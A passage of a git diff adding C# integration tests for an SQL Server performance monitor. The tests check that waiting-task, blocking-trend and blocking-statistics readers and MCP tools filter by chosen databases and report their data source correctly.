+            /* The cap is applied AFTER the filter: the unfiltered top two are 90 (C, 4000 ms) and 51; [A, B] keeps its own top two (51, 52). */
+            Assert.Equal(new[] { 90, 51 }, all.Take(2).Select(r => r.SessionId).ToArray());
+            var capped = await DarlingSessionReader.GetWaitingTasksAsync(postgres, ServerId, start, seed.End, 2, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { 51, 52 }, capped.Select(r => r.SessionId).ToArray());
+
+            /* A name no row carries, or a differently cased one, finds nothing: the compare is exact. */
+            var none = await DarlingSessionReader.GetWaitingTasksAsync(postgres, ServerId, start, seed.End, 100, DatabaseFilter.Of(["NoSuchDb", DbA.ToLowerInvariant()]), ct);
+            Assert.Empty(none);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task WaitingTasks_Tool_EchoesTheSet_APageIsTheNewestOfTheChosen_AMissIsEmptyForThemNotUnavailable()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var seed = await SeedAsync(cs!, ct);
+            var asOf = seed.End.ToString("o");
+
+            var ab = JsonDocument.Parse(await DarlingMcpSessionTools.GetWaitingTasks(
+                postgres, ServerName, 1, 2, DatabaseFilter.Of([DbA, DbB]), asOf, null, ct)).RootElement;
+            Assert.Equal("the chosen databases", ab.GetProperty("database_name").GetString());
+            Assert.Equal(2, ab.GetProperty("tasks_returned").GetInt32());
+            Assert.True(ab.GetProperty("truncated").GetBoolean());   /* 71 is the third row of A and B */
+            Assert.Equal(new[] { 51, 52 }, ab.GetProperty("tasks").EnumerateArray().Select(t => t.GetProperty("session_id").GetInt32()).ToArray());
+
+            /* One name echoes the name itself; none and the public method echo null and read every database. */
+            var one = JsonDocument.Parse(await DarlingMcpSessionTools.GetWaitingTasks(
+                postgres, ServerName, 1, 30, DatabaseFilter.One(DbC), asOf, null, ct)).RootElement;
+            Assert.Equal(DbC, one.GetProperty("database_name").GetString());
+            Assert.Equal(2, one.GetProperty("tasks_returned").GetInt32());
+            Assert.False(one.GetProperty("truncated").GetBoolean());
+            var plain = JsonDocument.Parse(await DarlingMcpSessionTools.GetWaitingTasks(postgres, ServerName, 1, 30, asOf, null, null, ct)).RootElement;
+            Assert.Equal(JsonValueKind.Null, plain.GetProperty("database_name").ValueKind);
+            Assert.Equal(5, plain.GetProperty("tasks_returned").GetInt32());
+
+            /* [M4] The filtered miss: the collector HAS sampled this server, so the answer is empty, and it says the CHOSEN databases had none. */
+            var oneMiss = JsonDocument.Parse(await DarlingMcpSessionTools.GetWaitingTasks(
+                postgres, ServerName, 1, 30, DatabaseFilter.One("NoSuchDb"), asOf, null, ct)).RootElement;
+            Assert.Equal("empty", oneMiss.GetProperty("status").GetString());
+            Assert.Contains("for the database NoSuchDb", oneMiss.GetProperty("message").GetString(), StringComparison.Ordinal);
+            var manyMiss = JsonDocument.Parse(await DarlingMcpSessionTools.GetWaitingTasks(
+                postgres, ServerName, 1, 30, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), asOf, null, ct)).RootElement;
+            Assert.Equal("empty", manyMiss.GetProperty("status").GetString());
+            var manyMessage = manyMiss.GetProperty("message").GetString()!;
+            Assert.Contains("for the chosen databases", manyMessage, StringComparison.Ordinal);
+            Assert.DoesNotContain("database '", manyMessage, StringComparison.Ordinal);
+
+            /* A window with no waiting_tasks rows at all, filtered or not, keeps the unfiltered sentence: the store holds nothing to filter. */
+            var farBack = JsonDocument.Parse(await DarlingMcpSessionTools.GetWaitingTasks(
+                postgres, ServerName, 1, 30, DatabaseFilter.All, seed.End.AddDays(-30).ToString("o"), null, ct)).RootElement;
+            Assert.Equal("No waiting tasks captured in the specified time range.", farBack.GetProperty("message").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task BlockedSessionTrend_Reader_TwoNames_ReturnsOnlyThoseDatabases_TheStringOverloadIsUnchanged()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var seed = await SeedAsync(cs!, ct);
+            var start = seed.End.AddHours(-1);
+
+            /* Blocked sessions in the seed: A has two (51, 52), C has one (70), B none. */
+            var ac = await DarlingDataReader.GetBlockedSessionTrendAsync(postgres, ServerId, start, seed.End, DatabaseFilter.Of([DbA, DbC]), ct);
+            Assert.Equal(new[] { (DbA, 2L), (DbC, 1L) }, ac.Select(r => (r.DatabaseName, r.BlockedCount)).OrderBy(r => r.DatabaseName).ToArray());
+
+            var ab = await DarlingDataReader.GetBlockedSessionTrendAsync(postgres, ServerId, start, seed.End, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { (DbA, 2L) }, ab.Select(r => (r.DatabaseName, r.BlockedCount)).ToArray());
+
+            var all = await DarlingDataReader.GetBlockedSessionTrendAsync(postgres, ServerId, start, seed.End, DatabaseFilter.All, ct);
+            Assert.Equal(2, all.Count);
+
+            /* The string overload: one name narrows, null and whitespace read every database, exactly as before. */
+            var oneString = await DarlingDataReader.GetBlockedSessionTrendAsync(postgres, ServerId, start, seed.End, DbC, ct);
+            Assert.Equal(new[] { (DbC, 1L) }, oneString.Select(r => (r.DatabaseName, r.BlockedCount)).ToArray());
+            Assert.Equal(2, (await DarlingDataReader.GetBlockedSessionTrendAsync(postgres, ServerId, start, seed.End, null, ct)).Count);
+            Assert.Equal(2, (await DarlingDataReader.GetBlockedSessionTrendAsync(postgres, ServerId, start, seed.End, "   ", ct)).Count);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task CurrentWaitsTrend_Tool_ListLimitsTheBlockedSeriesOnly_TheEchoNamesTheSet()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var seed = await SeedAsync(cs!, ct);
+            var asOf = seed.End.ToString("o");
+
+            var ac = JsonDocument.Parse(await DarlingMcpDataTools.GetCurrentWaitsTrend(
+                postgres, ServerName, 1, DatabaseFilter.Of([DbA, DbC]), asOf, ct)).RootElement;
+            Assert.Equal("the chosen databases", ac.GetProperty("database_name").GetString());
+            Assert.Equal(new[] { DbA, DbC }, BlockedDatabases(ac));
+
+            var ab = JsonDocument.Parse(await DarlingMcpDataTools.GetCurrentWaitsTrend(
+                postgres, ServerName, 1, DatabaseFilter.Of([DbA, DbB]), asOf, ct)).RootElement;
+            Assert.Equal(new[] { DbA }, BlockedDatabases(ab));
+
+            /* The waiting-task series is per wait type and stays whole: the same under every filter, B's wait among them. */
+            var waitTypes = WaitTypes(ab);
+            Assert.Equal(WaitTypes(ac), waitTypes);
+            Assert.Contains("PAGEIOLATCH_SH", waitTypes);
+
+            /* A filter that matches no blocked session still answers with the whole waiting-task series, and an empty blocked series. */
+            var bOnly = JsonDocument.Parse(await DarlingMcpDataTools.GetCurrentWaitsTrend(
+                postgres, ServerName, 1, DatabaseFilter.One(DbB), asOf, ct)).RootElement;
+            Assert.Equal(DbB, bOnly.GetProperty("database_name").GetString());
+            Assert.Empty(BlockedDatabases(bOnly));
+            Assert.Equal(waitTypes, WaitTypes(bOnly));
+
+            /* The public method (a string name) passes the one-name filter through; no name echoes null and reads all. */
+            var publicOne = JsonDocument.Parse(await DarlingMcpDataTools.GetCurrentWaitsTrend(postgres, ServerName, 1, DbC, asOf, ct)).RootElement;
+            Assert.Equal(DbC, publicOne.GetProperty("database_name").GetString());
+            Assert.Equal(new[] { DbC }, BlockedDatabases(publicOne));
+            var publicAll = JsonDocument.Parse(await DarlingMcpDataTools.GetCurrentWaitsTrend(postgres, ServerName, 1, null, asOf, ct)).RootElement;
+            Assert.Equal(JsonValueKind.Null, publicAll.GetProperty("database_name").ValueKind);
+            Assert.Equal(new[] { DbA, DbC }, BlockedDatabases(publicAll));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+
+        static string[] BlockedDatabases(JsonElement root) =>
+            root.GetProperty("blocked_sessions").EnumerateArray().Select(b => b.GetProperty("database_name").GetString()!).Distinct().Order().ToArray();
+        static string[] WaitTypes(JsonElement root) =>
+            root.GetProperty("waiting_tasks").EnumerateArray().Select(w => w.GetProperty("wait_type").GetString()!).Distinct().Order().ToArray();
+    }
+
+    [Fact]
+    public async Task BlockingStats_Reader_TwoNames_BucketsOnlyThoseDatabases_OnBothArms()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var seed = await SeedAsync(cs!, ct);
+            var start = seed.End.AddHours(-1);
+
+            /* XE arm. Minute m1: A 1000 + 3000, B 5000. Minute m2: C 7000. */
+            var ab = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, ServerId, start, seed.End, DatabaseFilter.Of([DbA, DbB]), ct);
+            var abRow = Assert.Single(ab);
+            Assert.Equal(seed.M1, abRow.Time);
+            Assert.Equal((3L, 9000L, 5000L), (abRow.EventCount, abRow.TotalDurationMs, abRow.MaxDurationMs));
+            Assert.Equal(3000d, abRow.AvgDurationMs);
+
+            var bc = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, ServerId, start, seed.End, DatabaseFilter.Of([DbB, DbC]), ct);
+            Assert.Equal(new[] { (seed.M1, 1L, 5000L), (seed.M2, 1L, 7000L) }, bc.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray());
+
+            /* All, One and the unchanged public method: the whole XE series, as before the list. */
+            var all = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, ServerId, start, seed.End, DatabaseFilter.All, ct);
+            var plain = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, ServerId, start, seed.End, ct);
+            Assert.Equal(new[] { (seed.M1, 3L, 9000L), (seed.M2, 1L, 7000L) }, all.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray());
+            Assert.Equal(all.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)), plain.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)));
+            var oneC = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, ServerId, start, seed.End, DatabaseFilter.One(DbC), ct);
+            Assert.Equal(new[] { (seed.M2, 1L, 7000L) }, oneC.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray());
+
+            /* The DMV arm is read only when the XE arm has no rows for the CHOSEN databases (#5244, Lite's rule). D has DMV rows only,
+               so D's series is the DMV row, while the unfiltered series (XE has rows) carries no DMV row. */
+            var d = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, ServerId, start, seed.End, DatabaseFilter.One(DbD), ct);
+            Assert.Equal(new[] { (seed.M3, 1L, 999L) }, d.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray());
+            Assert.DoesNotContain(all, r => r.Time == seed.M3);
+
+            /* DMV arm: a server with no XE row falls back to the DMV snapshot, and the list applies there too. */
+            var dmvAll = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, DmvOnlyServerId, start, seed.End, DatabaseFilter.All, ct);
+            Assert.Equal(new[] { (seed.M1, 3L, 600L) }, dmvAll.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray());
+            var dmvAb = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, DmvOnlyServerId, start, seed.End, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { (seed.M1, 3L, 600L) }, dmvAb.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray());
+            var dmvC = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, DmvOnlyServerId, start, seed.End, DatabaseFilter.One(DbC), ct);
+            Assert.Empty(dmvC);
+            var dmvB = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, DmvOnlyServerId, start, seed.End, DatabaseFilter.One(DbB), ct);
+            Assert.Equal(new[] { (seed.M1, 1L, 300L) }, dmvB.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task BlockingStats_Tool_EchoesTheSet_AFilteredEmptyAnswerSaysTheBlockingHalfWasFiltered()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var seed = await SeedAsync(cs!, ct);
+            var asOf = seed.End.ToString("o");
+
+            var ab = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(
+                postgres, ServerName, 1, DatabaseFilter.Of([DbA, DbB]), asOf, null, ct)).RootElement;
+            Assert.Equal("the chosen databases", ab.GetProperty("database_name").GetString());
+            Assert.Equal(1, ab.GetProperty("blocking_duration").GetArrayLength());
+            Assert.Equal(3, ab.GetProperty("blocking_duration")[0].GetProperty("event_count").GetInt64());
+
+            var one = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(
+                postgres, ServerName, 1, DatabaseFilter.One(DbC), asOf, null, ct)).RootElement;
+            Assert.Equal(DbC, one.GetProperty("database_name").GetString());
+            Assert.Equal(1, one.GetProperty("blocking_duration").GetArrayLength());
+
+            var plain = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(postgres, ServerName, 1, asOf, null, null, ct)).RootElement;
+            Assert.Equal(JsonValueKind.Null, plain.GetProperty("database_name").ValueKind);
+            Assert.Equal(2, plain.GetProperty("blocking_duration").GetArrayLength());
+
+            /* [M4] A filtered blocking series with no deadlocks anywhere: the blocking collectors HAVE run, so the answer is empty, and the
+               sentence says exactly which half was limited to the databases instead of "no blocking or deadlocks". */
+            var oneMiss = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(
+                postgres, ServerName, 1, DatabaseFilter.One("NoSuchDb"), asOf, null, ct)).RootElement;
+            Assert.Equal("empty", oneMiss.GetProperty("status").GetString());
+            var oneMessage = oneMiss.GetProperty("message").GetString()!;
+            Assert.Contains("No blocking for the database NoSuchDb (and no deadlocks, which are not limited by database)", oneMessage, StringComparison.Ordinal);
+            var manyMiss = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(
+                postgres, ServerName, 1, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), asOf, null, ct)).RootElement;
+            Assert.Equal("empty", manyMiss.GetProperty("status").GetString());
+            var manyMessage = manyMiss.GetProperty("message").GetString()!;
+            Assert.Contains("No blocking for the chosen databases (and no deadlocks", manyMessage, StringComparison.Ordinal);
+            Assert.DoesNotContain("database '", manyMessage, StringComparison.Ordinal);
+
+            /* Unfiltered, a window with no rows keeps the sentence it always had. */
+            var farBack = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(
+                postgres, ServerName, 1, DatabaseFilter.All, seed.End.AddDays(-30).ToString("o"), null, ct)).RootElement;
+            Assert.Equal("empty", farBack.GetProperty("status").GetString());
+            Assert.StartsWith($"No blocking or deadlocks recorded for {ServerName} in the last 1 hour(s)", farBack.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task BlockingStats_AndBlockingTrend_ChooseTheSameSource_TheDmvArmOnlyWhenXeHasNoRowsForTheChosenDatabases()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), SkipReason);
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            var seed = await SeedAsync(cs!, ct);
+            var start = seed.End.AddHours(-1);
+
+            /* MixedServer: XE has a row for B only (m1, 5000), DMV has a row for A only (m2, 222). Filter [A] has no XE row, so BOTH tools
+               answer from the DMV arm; [A, B] has an XE row, so BOTH answer from the XE arm (and never mix in A's DMV row). */
+            async Task<((DateTime, long, long)[] Stats, (DateTime, int)[] Trend, string? StatsSource, string? TrendSource)> AskAsync(DatabaseFilter filter)
+            {
+                var stats = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, MixedServerId, start, seed.End, filter, ct);
+                var trend = await DarlingBlockingTrendReader.GetBlockingTrendAsync(postgres, MixedServerId, start, seed.End, filter, ct);
+                return (stats.Select(r => (r.Time, r.EventCount, r.TotalDurationMs)).ToArray(), trend.Select(p => (p.Time, p.Count)).ToArray(),
+                    stats.Select(r => r.Source).Distinct().SingleOrDefault(), trend.Select(p => p.Source).Distinct().SingleOrDefault());
+            }
+
+            var a = await AskAsync(DatabaseFilter.Of([DbA]));
+            Assert.Equal(new[] { (seed.M2, 1L, 222L) }, a.Stats);
+            Assert.Equal(new[] { (seed.M2, 1) }, a.Trend);
+            /* #5244 M1: the answer says which arm answered. [A] has no XE row, so the DMV snapshot. */
+            Assert.Equal("DMV snapshot", a.StatsSource);
+            Assert.Equal("DMV snapshot", a.TrendSource);
+
+            var ab = await AskAsync(DatabaseFilter.Of([DbA, DbB]));
+            Assert.Equal(new[] { (seed.M1, 1L, 5000L) }, ab.Stats);
+            Assert.Equal(new[] { (seed.M1, 1) }, ab.Trend);
+            /* Adding B to the filter moves the answer to the XE arm, and the source says so: A's DMV-only row is not mixed in. */
+            Assert.Equal("blocked-process-report", ab.StatsSource);
+            Assert.Equal("blocked-process-report", ab.TrendSource);
+
+            /* The two tools' JSON carries the same word under a top-level source key. */
+            var statsJson = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(postgres, MixedServerName, 1, DatabaseFilter.Of([DbA]), seed.End.ToString("o"), null, ct)).RootElement;
+            Assert.Equal("DMV snapshot", statsJson.GetProperty("source").GetString());
+            var statsJsonAb = JsonDocument.Parse(await DarlingMcpDataTools.GetBlockingStats(postgres, MixedServerName, 1, DatabaseFilter.Of([DbA, DbB]), seed.End.ToString("o"), null, ct)).RootElement;
+            Assert.Equal("blocked-process-report", statsJsonAb.GetProperty("source").GetString());
+
+            /* N1: get_blocking_trend's own JSON, by exact tag for both filters, so a trend tool that hard-codes one source fails here
+               even though the readers above are right. */
+            var trendJsonA = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockingTrend(postgres, MixedServerName, 1, seed.End.ToString("o"), DatabaseFilter.Of([DbA]), ct)).RootElement;
+            Assert.Equal("DMV snapshot", trendJsonA.GetProperty("source").GetString());
+            var trendJsonAb = JsonDocument.Parse(await DarlingMcpBlockingTools.GetBlockingTrend(postgres, MixedServerName, 1, seed.End.ToString("o"), DatabaseFilter.Of([DbA, DbB]), ct)).RootElement;
+            Assert.Equal("blocked-process-report", trendJsonAb.GetProperty("source").GetString());
+
+            var b = await AskAsync(DatabaseFilter.One(DbB));
+            Assert.Equal(ab.Stats, b.Stats);
+            Assert.Equal(ab.Trend, b.Trend);
+
+            /* Unfiltered: XE has rows, so the XE arm, as always. */
+            var all = await AskAsync(DatabaseFilter.All);
+            Assert.Equal(ab.Stats, all.Stats);
+            Assert.Equal(ab.Trend, all.Trend);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        for (var i = text.IndexOf(needle, StringComparison.Ordinal); i >= 0; i = text.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+            count++;
+        return count;
+    }
+
+    /// <summary>The window end and the three event minutes the blocking seeds sit on.</summary>
+    private sealed record Seed(DateTime End, DateTime M1, DateTime M2, DateTime M3);
+
+    /// <summary>
+    /// Seeds both servers and returns the window end (now, to the second) and the event minutes.
+    /// <para>ServerName: ONE waiting-task capture ten minutes back of five tasks: 51 (A, 3000 ms, blocked by 90), 52 (A, 2000, blocked
+    /// by 91), 71 (B, 1000), 70 (C, 500, blocked by 92) and 90 (C, 4000), the blocked ones on LCK_M_S and the rest on PAGEIOLATCH_SH. XE blocked-process
+    /// reports: minute m1 has A 1000 and 3000 and B 5000, minute m2 has C 7000. DMV snapshots (which must never be read while XE has
+    /// rows): D 999 at m3 and A 111 at m1. A collection_log row says the blocking collector ran.</para>
+    /// <para>DmvOnlyServerName: no XE row; DMV snapshots at m1 of A 100, A 200 and B 300.</para>
+    /// <para>MixedServerName: one XE report for B at m1 (5000) and one DMV snapshot for A at m2 (222).</para>
+    /// </summary>
+    private static async Task<Seed> SeedAsync(string cs, CancellationToken ct)
+    {
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, DmvOnlyServerId, DmvOnlyServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, MixedServerId, MixedServerName, ct);
+
+        var end = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow);
+        var capture = DarlingMcpTestData.Naive(end.AddMinutes(-10));
+        var minute = new DateTime(end.Ticks - (end.Ticks % TimeSpan.TicksPerMinute), DateTimeKind.Unspecified);
+        var m1 = minute.AddMinutes(-20);
+        var m2 = minute.AddMinutes(-19);
+        var m3 = minute.AddMinutes(-18);
+
+        var tasks = new (int Session, string Db, int Blocker, long WaitMs)[]
+        {
+            (51, DbA, 90, 3000), (52, DbA, 91, 2000), (71, DbB, 0, 1000), (70, DbC, 92, 500), (90, DbC, 0, 4000),
+        };
+        foreach (var t in tasks)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO waiting_tasks (collection_id, collection_time, server_id, server_name, session_id, wait_type, wait_duration_ms, blocking_session_id, resource_description, database_name)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10)",
+                CollectionIdGenerator.Next(), capture, ServerId, ServerName, t.Session, t.Blocker > 0 ? "LCK_M_S" : "PAGEIOLATCH_SH", t.WaitMs, t.Blocker, null, t.Db);
+        }
+
+        foreach (var (at, db, wait, spid) in new[] { (m1, DbA, 1000L, 61), (m1, DbA, 3000L, 62), (m1, DbB, 5000L, 63), (m2, DbC, 7000L, 64) })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                "INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, wait_time_ms, blocking_spid, blocked_spid, blocking_status, database_name) VALUES ($1,$2,$3,$4,$2,$5,60,$6,'suspended',$7)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, wait, spid, db);
+        }
+
+        foreach (var (at, db, wait, spid) in new[] { (m3, DbD, 999L, 71), (m1, DbA, 111L, 72) })
+        {
+            await InsertDmvAsync(connection, ServerId, ServerName, at, db, wait, spid, ct);
+        }
+
+        foreach (var (db, wait, spid) in new[] { (DbA, 100L, 81), (DbA, 200L, 82), (DbB, 300L, 83) })
+        {
+            await InsertDmvAsync(connection, DmvOnlyServerId, DmvOnlyServerName, m1, db, wait, spid, ct);
+        }
+
+        /* MixedServerName: XE has B only (m1, 5000) and DMV has A only (m2, 222), so which arm answers depends on the filter. */
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, wait_time_ms, blocking_spid, blocked_spid, blocking_status, database_name) VALUES ($1,$2,$3,$4,$2,$5,60,$6,'suspended',$7)",
+            CollectionIdGenerator.Next(), m1, MixedServerId, MixedServerName, 5000L, 91, DbB);
+        await InsertDmvAsync(connection, MixedServerId, MixedServerName, m2, DbA, 222L, 92, ct);
+
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) VALUES ($1,$2,$3,'blocked_process_report',$4,10,'SUCCESS',0)",
+            CollectionIdGenerator.Next(), ServerId, ServerName, capture);
+
+        return new Seed(end, m1, m2, m3);
+    }
+
+    private static Task InsertDmvAsync(NpgsqlConnection connection, int serverId, string serverName, DateTime at, string db, long wait, int spid, CancellationToken ct) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            "INSERT INTO dmv_blocking_snapshots (collection_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms, blocking_status) VALUES ($1,$2,$3,$4,$2,$5,$6,60,$7,'suspended')",
+            CollectionIdGenerator.Next(), at, serverId, serverName, db, spid, wait);
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var id in new[] { ServerId, DmvOnlyServerId, MixedServerId })
+        {
+            using var cleanup = new NpgsqlCommand(
+                $"DELETE FROM waiting_tasks WHERE server_id = {id}; DELETE FROM blocked_process_reports WHERE server_id = {id}; "
+                + $"DELETE FROM dmv_blocking_snapshots WHERE server_id = {id}; DELETE FROM collection_log WHERE server_id = {id}; "
+                + $"DELETE FROM servers WHERE server_id = {id};",
+                connection);
+            await cleanup.ExecuteNonQueryAsync(ct);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebAutoRefreshPolicyTests.cs b/Darling/Darling.Tests/WebAutoRefreshPolicyTests.cs
index 6bd706375e..dfb7044ff1 100644
--- a/Darling/Darling.Tests/WebAutoRefreshPolicyTests.cs
+++ b/Darling/Darling.Tests/WebAutoRefreshPolicyTests.cs
@@ -158,7 +158,8 @@ public void RefreshPolicyJs_BackOffRunsUnderNode()
         }
         catch (System.ComponentModel.Win32Exception)
         {
-            // Node is not installed on this machine; RefreshPolicyJs_CarriesTheBackOffConstants still pins the rule.
+            // RefreshPolicyJs_CarriesTheBackOffConstants still pins the rule.
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
         }
     }
 
diff --git a/Darling/Darling.Tests/WebBlockingColumnsPageTests.cs b/Darling/Darling.Tests/WebBlockingColumnsPageTests.cs
new file mode 100644
index 0000000000..93fac40f3d
--- /dev/null
+++ b/Darling/Darling.Tests/WebBlockingColumnsPageTests.cs
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the web Blocking tab's grids: each column key is a field its read returns, the Blocking grid shows the
+/// desktop grid's columns in its order under its headers, and the two XML grids carry a Save XML column.
+/// </summary>
+public sealed class WebBlockingColumnsPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Source() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpBlockingTools.cs").ReplaceLineEndings("\n");
+
+    private static string ConstBody(string constName)
+    {
+        var tab = Tab();
+        var start = tab.IndexOf("const " + constName + " = [", StringComparison.Ordinal);
+        Assert.True(start >= 0, constName + " not found");
+        var end = tab.IndexOf("\n];", start, StringComparison.Ordinal);
+        return tab[start..end];
+    }
+
+    private static List<string> Keys(string constName) =>
+        Regex.Matches(ConstBody(constName), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+
+    private static List<string> Labels(string constName) =>
+        Regex.Matches(ConstBody(constName), "\\blabel: \"([^\"]+)\"").Select(m => m.Groups[1].Value).ToList();
+
+    private static List<string> Projection(string tool)
+    {
+        var src = Source();
+        var start = src.IndexOf("Name = \"" + tool + "\"", StringComparison.Ordinal);
+        Assert.True(start >= 0, tool + " not found");
+        var next = src.IndexOf("McpServerTool(Name", start + 10, StringComparison.Ordinal);
+        var seg = next > 0 ? src[start..next] : src[start..];
+        var sel = seg.IndexOf(".Select(", StringComparison.Ordinal);
+        Assert.True(sel >= 0, tool + " has no row projection");
+        var close = seg.IndexOf("\n            });", sel, StringComparison.Ordinal);
+        if (close < 0) close = seg.IndexOf("\n                })", sel, StringComparison.Ordinal);
+        return Regex.Matches(seg[sel..close], "^\\s+([a-z_]+) = ", RegexOptions.Multiline).Select(m => m.Groups[1].Value).ToList();
+    }
+
